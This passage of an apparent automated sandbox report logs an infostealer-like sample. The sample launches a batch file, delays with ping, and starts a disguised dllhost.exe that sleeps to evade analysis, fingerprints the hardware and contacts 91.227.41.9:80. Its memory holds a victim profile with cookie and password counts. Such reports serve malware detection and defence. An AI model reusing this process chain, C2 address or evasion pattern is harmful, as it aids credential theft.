                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -591593s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -591296s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -591071s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -590765s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -590390s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -590078s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -589593s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -589234s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -588996s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -588765s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -588375s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -588093s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -587894s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -587765s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4948Thread sleep time: -300000s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -587656s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -587535s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -587406s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -587296s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -587181s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exe TID: 4280Thread sleep time: -587062s >= -30000sJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\PING.EXELast function: Thread delayed
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeThread delayed: delay time: 922337203685477Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 30000Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 922337203685477Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 600000Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 599859Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 598859Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 598421Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 3600000Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 598265Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 598015Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 597546Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 597062Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 596718Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 596421Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 596171Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 596000Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 594921Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 594718Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 594343Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 594093Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 593796Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 593515Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 593203Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 592765Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 591937Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 591593Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 591296Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 591071Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 590765Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 590390Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 590078Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 589593Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 589234Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 588996Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 588765Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 588375Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 588093Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 587894Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 587765Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 300000Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 587656Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 587535Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 587406Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 587296Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 587181Jump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeThread delayed: delay time: 587062Jump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile opened: C:\Users\userJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile opened: C:\Users\user\Documents\desktop.iniJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile opened: C:\Users\user\AppDataJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile opened: C:\Users\user\AppData\Local\TempJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile opened: C:\Users\user\Desktop\desktop.iniJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile opened: C:\Users\user\AppData\LocalJump to behavior
                              Source: eu6OEBpBCI.exe, 00000000.00000002.1711981527.000000001B8EE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: -b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
                              Source: dllhost.exe, 00000005.00000002.4150561685.000000001C470000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information queried: ProcessInformationJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess token adjusted: DebugJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess token adjusted: DebugJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeMemory allocated: page read and write | page guardJump to behavior

                              HIPS / PFW / Operating System Protection Evasion

                              barindex
                              System process connects to network (likely due to code injection or exploit)
                              Source: C:\Users\Public\Libraries\dllhost.exeNetwork Connect: 91.227.41.9 80Jump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\VE9VyBa20L.bat" Jump to behavior
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp 65001Jump to behavior
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhostJump to behavior
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\Public\Libraries\dllhost.exe "C:\Users\Public\Libraries\dllhost.exe" Jump to behavior
                              Source: dllhost.exe, 00000005.00000002.4103094451.0000000003281000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: 5.0.4",5,1,"","user","128757","Windows 10 Enterprise 64 Bit","Y","Y","N","C:\\Users\\Public\\Libraries","F6WLAH (1 GB)","Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz (Intel64 Family 6 Model 143 Stepping 8)","Program Manager","8.46.123.228","US / United States",
                              Source: dllhost.exe, 00000005.00000002.4103094451.0000000003281000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4103094451.00000000031B6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4103094451.0000000002EEB000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program Manager
                              Source: dllhost.exe, 00000005.00000002.4103094451.0000000003281000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: [{"Has Messengers (1153)":"N","Has Game Clients (1153)":"N","Has Media Clients (1153)":"N","Has FTP Clients (1153)":"N","Cookies Count (1671)":"550","Passwords Count (1671)":"0","Forms Count (1671)":"0","CC Count (1671)":"0","History Count (1671)":"206"},"5.0.4",5,1,"","user","128757","Windows 10 Enterprise 64 Bit","Y","Y","N","C:\\Users\\Public\\Libraries","F6WLAH (1 GB)","Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz (Intel64 Family 6 Model 143 Stepping 8)","Program Manager","8.46.123.228","US / United States","New York / New York","40.7123 / -74.0068"]
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeQueries volume information: C:\Users\user\Desktop\eu6OEBpBCI.exe VolumeInformationJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformationJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformationJump to behavior
                              Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Users\Public\Libraries\dllhost.exe VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\comic.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\comici.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\constan.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\constani.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\cour.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\couri.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\framd.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\impact.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\pala.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\palab.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformationJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeQueries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformationJump to behavior
